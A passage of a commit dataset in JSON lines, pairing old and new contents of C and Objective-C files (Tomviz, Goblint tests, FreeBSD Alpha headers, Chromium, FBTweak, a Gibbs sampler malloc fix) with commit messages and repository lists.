QScopedPointer<Ui::PresetDialog> m_ui;\n  PresetModel* m_model;\n  QTableView* m_view;\n  void customMenuRequested(const QModelIndex& Index);\n};\n} \/\/ namespace tomviz\n\n#endif\n","new_contents":"\/* This source file is part of the Tomviz project, https:\/\/tomviz.org\/.\n  It is released under the 3-Clause BSD License, see \"LICENSE\". *\/\n\n#ifndef tomvizPresetDialog_h\n#define tomvizPresetDialog_h\n\n#include <QDialog>\n#include <QScopedPointer>\n\nclass QTableView;\nclass vtkSMProxy;\n\nnamespace Ui {\nclass PresetDialog;\n}\n\nnamespace tomviz {\n\nclass PresetModel;\n  \nclass PresetDialog : public QDialog\n{\n  Q_OBJECT\n\npublic:\n  explicit PresetDialog(QWidget* parent);\n  ~PresetDialog() override;\n  QString presetName();\n  void addNewPreset(const QJsonObject& newPreset);\n  QJsonObject jsonObject();\n\nsignals:\n  void applyPreset();\n  void resetToDefaults();\n\nprivate slots:\n  void warning();\n\nprivate:\n  QScopedPointer<Ui::PresetDialog> m_ui;\n  PresetModel* m_model;\n  QTableView* m_view;\n  void customMenuRequested(const QModelIndex& Index);\n};\n} \/\/ namespace tomviz\n\n#endif\n","subject":"Move destructor to be below constructor","message":"Move destructor to be below constructor\n\nSigned-off-by: Marcus D. Hanwell <cf7042e2e8eee958b5bcde1ae2cbefef82efc184@kitware.com>\n","lang":"C","license":"bsd-3-clause","repos":"OpenChemistry\/tomviz,OpenChemistry\/tomviz,OpenChemistry\/tomviz,OpenChemistry\/tomviz"}
{"commit":"f0e213597e9f2563d11e571c05768f8241b46386","old_file":"tests\/regression\/36-octapron\/20-traces-even-more-rpb.c","new_file":"tests\/regression\/36-octapron\/20-traces-even-more-rpb.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 17; \/\/ matches write in t_fun\nint h = 14; \/\/ matches write in t_fun\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  g = 17;\n  t = g;\n  h = t - 3;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nvoid *t2_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&B);\n  t = h;\n  t--;\n  h = t;\n  pthread_mutex_unlock(&B);\n  return NULL;\n}\n\nvoid *t3_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&A);\n  t = g;\n  t++;\n  g = t;\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int t;\n\n  pthread_t id, id2, id3;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t2_fun, NULL);\n  pthread_create(&id3, NULL, t3_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g >= h); \/\/ UNKNOWN?\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","subject":"Add relational traces even-more-rpb example","message":"Add relational traces even-more-rpb example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6c3ebd4526d5b89084af8af1af8b2d23438360d8","old_file":"sys\/alpha\/include\/bwx.h","new_file":"sys\/alpha\/include\/bwx.h","old_contents":"","new_contents":"\/*-\n * Copyright (c) 1998 Doug Rabson\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t$Id$\n *\/\n\n#ifndef _MACHINE_BWX_H_\n#define\t_MACHINE_BWX_H_\n\nstatic __inline u_int8_t\nldbu(vm_offset_t va)\n{\n    u_int64_t r;\n    __asm__ __volatile__ (\"ldbu %0,%1\" : \"=r\"(r) : \"m\"(*(u_int8_t*)va));\n    return r;\n}\n\nstatic __inline u_int16_t\nldwu(vm_offset_t va)\n{\n    u_int64_t r;\n    __asm__ __volatile__ (\"ldwu %0,%1\" : \"=r\"(r) : \"m\"(*(u_int16_t*)va));\n    return r;\n}\n\nstatic __inline u_int32_t\nldl(vm_offset_t va)\n{\n    return *(u_int32_t*) va;\n}\n\nstatic __inline void\nstb(vm_offset_t va, u_int64_t r)\n{\n    __asm__ __volatile__ (\"stb %1,%0\" : \"=m\"(*(u_int8_t*)va) : \"r\"(r));\n    __asm__ __volatile__ (\"mb\");\n}\n\nstatic __inline void\nstw(vm_offset_t va, u_int64_t r)\n{\n    __asm__ __volatile__ (\"stw %1,%0\" : \"=m\"(*(u_int16_t*)va) : \"r\"(r));\n    __asm__ __volatile__ (\"mb\");\n}\n\n\nstatic __inline void\nstl(vm_offset_t va, u_int64_t r)\n{\n    __asm__ __volatile__ (\"stl %1,%0\" : \"=m\"(*(u_int32_t*)va) : \"r\"(r));\n    __asm__ __volatile__ (\"mb\");\n}\n\n#endif \/* !_MACHINE_BWX_H_ *\/\n","subject":"Add macros for byte\/word sized load and store instructions.","message":"Add macros for byte\/word sized load and store instructions.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"6bbc09533e28e0912ac2b1683e3d03cb26ce9fa0","old_file":"ui\/aura\/aura_switches.h","new_file":"ui\/aura\/aura_switches.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_AURA_SWITCHES_H_\n#define UI_AURA_AURA_SWITCHES_H_\n#pragma once\n\nnamespace switches {\n\nextern const char kAuraHostWindowSize[];\nextern const char kAuraWindows[];\n\n}  \/\/ namespace switches\n\n#endif  \/\/ UI_AURA_AURA_SWITCHES_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_AURA_SWITCHES_H_\n#define UI_AURA_AURA_SWITCHES_H_\n#pragma once\n\n#include \"ui\/aura\/aura_export.h\"\n\nnamespace switches {\n\nAURA_EXPORT extern const char kAuraHostWindowSize[];\nAURA_EXPORT extern const char kAuraWindows[];\n\n}  \/\/ namespace switches\n\n#endif  \/\/ UI_AURA_AURA_SWITCHES_H_\n","subject":"Fix shared library build for aura.","message":"Fix shared library build for aura.\n\nTBR=ben@chromium.org,derat@chromium.org\nR=ben@chromium.org,derat@chromium.org\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/8438039\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@108299 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,zcbenz\/cefode-chromium,keishi\/chromium,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,keishi\/chromium,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,littlstar\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,Chilledheart\/chromium,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,markYoungH\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,Jonekee\/chromium.src,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,robclark\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,keishi\/chromium,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,rogerwang\/chromium,ChromiumWebApps\/chromium,rogerwang\/chromium,M4sse\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,Just-D\/chromium-1,Chilledheart\/chromium,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,keishi\/chromium,robclark\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,ltilve\/chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,nacl-webkit\/chrome_deps,dednal\/chromium.src,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,dednal\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,keishi\/chromium,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,robclark\/chromium,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,Just-D\/chromium-1,hujiajie\/pa-chromium,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,ltilve\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,markYoungH\/chromium.src,patrickm\/chromium.src,dednal\/chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,keishi\/chromium,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,anirudhSK\/chromium,rogerwang\/chromium,Chilledheart\/chromium,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,Jonekee\/chromium.src,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,anirudhSK\/chromium,rogerwang\/chromium,Jonekee\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,hujiajie\/pa-chromium,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,keishi\/chromium,markYoungH\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,littlstar\/chromium.src,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,patrickm\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,dednal\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,M4sse\/chromium.src,robclark\/chromium,ChromiumWebApps\/chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,robclark\/chromium,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,littlstar\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,patrickm\/chromium.src,robclark\/chromium,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,jaruba\/chromium.src,markYoungH\/chromium.src,ondra-novak\/chromium.src,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,Just-D\/chromium-1,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,robclark\/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,dednal\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,keishi\/chromium,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,M4sse\/chromium.src,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,robclark\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium"}
{"commit":"cccb2ea810b5f7a6d9e5c246274e630987583f23","old_file":"multiply_by_diagonal.c","new_file":"multiply_by_diagonal.c","old_contents":"","new_contents":"void multiply_by_diagonal(const int rows, const int cols,\n                          double* restrict diagonal, double* restrict matrix) {\n        \/*\n         * Multiply a matrix by a diagonal matrix (represented as a flat array\n         * of n values). The diagonal structure is exploited (so that we use\n         * n^2 multiplications instead of n^3); the product looks something\n         * like\n         *\n         *     sage: A = matrix([[a,b,c], [d,e,f],[g,h,i]]);\n         *     sage: w = matrix([[z1,0,0],[0,z2,0],[0,0,z3]]);\n         *     sage: A * w\n         *      => [a*z1 b*z2 c*z3]\n         *         [d*z1 e*z2 f*z3]\n         *         [g*z1 h*z2 i*z3]\n         *\/\n        int i, j;\n        \/* traverse the matrix in the correct order. *\/\n#ifdef USE_COL_MAJOR\n        for (j = 0; j < cols; j++)\n                for (i = 0; i < rows; i++)\n#else\n        for (i = 0; i < rows; i++)\n                for (j = 0; j < cols; j++)\n#endif\n                        matrix[ORDER(i, j, rows, cols)] *= diagonal[j];\n}\n","subject":"REFACTOR removed duplicates and created own file for this","message":"REFACTOR removed duplicates and created own file for this\n","lang":"C","license":"bsd-3-clause","repos":"VT-ICAM\/ArgyrisPack,VT-ICAM\/ArgyrisPack,VT-ICAM\/ArgyrisPack"}
{"commit":"b267698e0377126299950113cb864c3d995f32dc","old_file":"FBTweak\/FBTweak+Dictionary.h","new_file":"FBTweak\/FBTweak+Dictionary.h","old_contents":"\/\/\n\/\/  FBTweak+Dictionary.h\n\/\/  FBTweak\n\/\/\n\/\/  Created by John McIntosh on 11\/5\/14.\n\/\/  Copyright (c) 2014 Facebook. All rights reserved.\n\/\/\n\n#import <FBTweak\/FBTweak.h>\n\n\/**\n Implementation works by storing the dictionary in the tweak's `stepValue`.\n *\/\n@interface FBTweak (Dictionary)\n\n@property (nonatomic, copy, readonly) NSArray *allKeys;\n@property (nonatomic, copy, readonly) NSArray *allValues;\n@property (nonatomic, copy, readwrite) NSDictionary *dictionaryValue;\n\n- (BOOL)isDictionary;\n\n@end\n\nFBTweakValue FBDictionaryTweak(NSString *categoryName, NSString *collectionName, NSString *tweakName, NSDictionary *dictionary, id defaultKey);","new_contents":"\/\/\n\/\/  FBTweak+Dictionary.h\n\/\/  FBTweak\n\/\/\n\/\/  Created by John McIntosh on 11\/5\/14.\n\/\/  Copyright (c) 2014 Facebook. All rights reserved.\n\/\/\n\n#import \"FBTweak.h\"\n\n\/**\n Implementation works by storing the dictionary in the tweak's `stepValue`.\n *\/\n@interface FBTweak (Dictionary)\n\n@property (nonatomic, copy, readonly) NSArray *allKeys;\n@property (nonatomic, copy, readonly) NSArray *allValues;\n@property (nonatomic, copy, readwrite) NSDictionary *dictionaryValue;\n\n- (BOOL)isDictionary;\n\n@end\n\nFBTweakValue FBDictionaryTweak(NSString *categoryName, NSString *collectionName, NSString *tweakName, NSDictionary *dictionary, id defaultKey);","subject":"Update syntax for import statement","message":"Update syntax for import statement\n","lang":"C","license":"bsd-3-clause","repos":"dedelost\/Tweaks,MakrisHuang\/Tweaks,1yvT0s\/Tweaks,1yvT0s\/Tweaks,sgl0v\/Tweaks,MrWooJ\/Tweaks,eyeem\/Tweaks,Kingside\/Tweaks,programming086\/Tweaks,MrWooJ\/Tweaks,eyeem\/Tweaks,Kingside\/Tweaks,DanielAsher\/Tweaks,eyeem\/Tweaks,dedelost\/Tweaks,cuppi\/Tweaks,Uberchord\/Tweaks,DanielAsher\/Tweaks,sgl0v\/Tweaks,adamdahan\/Tweaks,1yvT0s\/Tweaks,adamdahan\/Tweaks,cuppi\/Tweaks,flovilmart\/Tweaks,sgl0v\/Tweaks,Uberchord\/Tweaks,dedelost\/Tweaks,flovilmart\/Tweaks,MakrisHuang\/Tweaks,programming086\/Tweaks,DanielAsher\/Tweaks,adamdahan\/Tweaks"}
{"commit":"acb699bec196566a5dba364b97b83ae28a9b1a80","old_file":"gibbs.c","new_file":"gibbs.c","old_contents":"#include \"nb_simp.c\"\n\nstruct arrayProb* gibbsC_shim(struct arrayProb* topic_prior_b,\n                struct arrayProb* word_prior_c,\n                struct arrayNat* z_d,\n                struct arrayNat* w_e,\n                struct arrayNat* doc_f,\n                unsigned int docUpdate_g)\n{\n  struct arrayProb* res = (struct arrayProb*)malloc(sizeof(struct arrayProb*));\n  *res = gibbsC(*topic_prior_b, *word_prior_c, *z_d, *w_e, *doc_f, docUpdate_g);\n  return res;\n}\n\n","new_contents":"#include \"nb_simp.c\"\n\nstruct arrayProb* gibbsC_shim(struct arrayProb* topic_prior_b,\n                struct arrayProb* word_prior_c,\n                struct arrayNat* z_d,\n                struct arrayNat* w_e,\n                struct arrayNat* doc_f,\n                unsigned int docUpdate_g)\n{\n  struct arrayProb* res = (struct arrayProb*)malloc(sizeof(struct arrayProb));\n  *res = gibbsC(*topic_prior_b, *word_prior_c, *z_d, *w_e, *doc_f, docUpdate_g);\n  return res;\n}\n\n","subject":"Fix size error in malloc call","message":"Fix size error in malloc call\n","lang":"C","license":"bsd-3-clause","repos":"zaxtax\/naive_bayes,zaxtax\/naive_bayes,zaxtax\/naive_bayes,zaxtax\/naive_bayes"}
{"commit":"f5a798a2aa7fcf68d684c3dc58d9efaabe83b390","old_file":"Headers\/Public\/MLMediaLibrary.h","new_file":"Headers\/Public\/MLMediaLibrary.h","old_contents":"\/\/\n\/\/  MLMediaLibrary.h\n\/\/  MobileMediaLibraryKit\n\/\/\n\/\/  Created by Pierre d'Herbemont on 7\/14\/10.\n\/\/  Copyright 2010 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\n@interface MLMediaLibrary : NSObject {\n    NSManagedObjectContext *_managedObjectContext;\n    NSManagedObjectModel   *_managedObjectModel;\n\n    BOOL _allowNetworkAccess;\n}\n\n+ (id)sharedMediaLibrary;\n\n- (void)addFilePaths:(NSArray *)filepaths;\n- (void)updateDatabase; \/\/ Removes missing files\n\n\/\/ May be internal\n- (NSFetchRequest *)fetchRequestForEntity:(NSString *)entity;\n- (id)createObjectForEntity:(NSString *)entity;\n- (NSString *)thumbnailFolderPath;\n\n- (void)applicationWillStart;\n- (void)applicationWillExit;\n\n- (void)save;\n- (void)libraryDidDisappear;\n- (void)libraryDidAppear;\n@end\n","new_contents":"\/\/\n\/\/  MLMediaLibrary.h\n\/\/  MobileMediaLibraryKit\n\/\/\n\/\/  Created by Pierre d'Herbemont on 7\/14\/10.\n\/\/  Copyright 2010 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\n@interface MLMediaLibrary : NSObject {\n    NSManagedObjectContext *_managedObjectContext;\n    NSManagedObjectModel   *_managedObjectModel;\n\n    BOOL _allowNetworkAccess;\n}\n\n+ (id)sharedMediaLibrary;\n\n- (void)addFilePaths:(NSArray *)filepaths;\n\n\/\/ May be internal\n- (NSFetchRequest *)fetchRequestForEntity:(NSString *)entity;\n- (id)createObjectForEntity:(NSString *)entity;\n- (NSString *)thumbnailFolderPath;\n\n- (void)applicationWillStart;\n- (void)applicationWillExit;\n\n- (void)save;\n- (void)libraryDidDisappear;\n- (void)libraryDidAppear;\n@end\n","subject":"Revert \"Adding a public method to be able to update the database\"","message":"Revert \"Adding a public method to be able to update the database\"\n\nThis reverts commit 0c6bfc6ec7f63d468b0222c00ab1e31d69c62d40.\n\nConflicts:\n\tSources\/MLMediaLibrary.m\n","lang":"C","license":"lgpl-2.1","repos":"TheHungryBu\/MediaLibraryKit,TheHungryBu\/MediaLibraryKit,TheHungryBu\/MediaLibraryKit,larrytin\/MediaLibraryKit,TheHungryBu\/MediaLibraryKit"}
{"commit":"0997dbb61cacad042c452b37e03d4de5a0ed82bb","old_file":"content\/common\/child_process_messages.h","new_file":"content\/common\/child_process_messages.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Common IPC messages used for child processes.\n\/\/ Multiply-included message file, hence no include guard.\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"ipc\/ipc_message_macros.h\"\n\n#define IPC_MESSAGE_START ChildProcessMsgStart\n\n\/\/ Messages sent from the browser to the child process.\n\n\/\/ Tells the child process it should stop.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_AskBeforeShutdown)\n\n\/\/ Sent in response to ChildProcessHostMsg_ShutdownRequest to tell the child\n\/\/ process that it's safe to shutdown.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_Shutdown)\n\n#if defined(IPC_MESSAGE_LOG_ENABLED)\n\/\/ Tell the child process to begin or end IPC message logging.\nIPC_MESSAGE_CONTROL1(ChildProcessMsg_SetIPCLoggingEnabled,\n                     bool \/* on or off *\/)\n#endif\n\n\/\/ Messages sent from the child process to the browser.\n\nIPC_MESSAGE_CONTROL0(ChildProcessHostMsg_ShutdownRequest)\n\n\/\/ Get the list of proxies to use for |url|, as a semicolon delimited list\n\/\/ of \"<TYPE> <HOST>:<PORT>\" | \"DIRECT\".\nIPC_SYNC_MESSAGE_CONTROL1_2(ChildProcessHostMsg_ResolveProxy,\n                            GURL \/* url *\/,\n                            int \/* network error *\/,\n                            std::string \/* proxy list *\/)","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Common IPC messages used for child processes.\n\/\/ Multiply-included message file, hence no include guard.\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"ipc\/ipc_message_macros.h\"\n\n#define IPC_MESSAGE_START ChildProcessMsgStart\n\n\/\/ Messages sent from the browser to the child process.\n\n\/\/ Tells the child process it should stop.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_AskBeforeShutdown)\n\n\/\/ Sent in response to ChildProcessHostMsg_ShutdownRequest to tell the child\n\/\/ process that it's safe to shutdown.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_Shutdown)\n\n#if defined(IPC_MESSAGE_LOG_ENABLED)\n\/\/ Tell the child process to begin or end IPC message 